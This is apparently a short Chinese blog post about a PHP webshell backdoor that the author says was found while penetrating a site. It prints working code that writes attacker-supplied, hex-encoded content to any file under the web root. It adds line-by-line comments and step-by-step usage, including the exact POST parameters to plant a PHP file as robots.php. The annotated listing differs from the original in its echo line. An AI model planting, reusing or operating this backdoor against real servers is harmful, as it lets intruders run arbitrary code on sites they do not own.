这个后门是我在渗透某站时遇到的

代码

<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"];
$c = $_POST["z2"];
$buf = "";
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
@fwrite(fopen($f, "w") , $buf);
echo "1ok";
?>

代码分析

<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容
$c = $_POST["z2"];  // 定义$c 等于$_POST[z2]的内容
$buf = ""; //定义$buf等于空
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。
echo "www.hackersb.cn"; //仅仅是为了让作者辨别是否存在此PHP文件吧
?>

利用方式

先把要写入的内容URL编码,比如:

<?php phpinfo(); ?>

编码后:
%3C%3F%70%68%70%20%70%68%70%69%6E%66%6F%28%29%3B%20%3F%3E
然后去掉里面的百分号(%)得到:
3C3F70687020706870696E666F28293B203F3E
然后给我们的后门POST内容:
z1=/robots.php&z2=3C3F70687020706870696E666F28293B203F3E

可以看到我们的phpinfo已经写入到根目录下的robots.php:

php darkdoor demo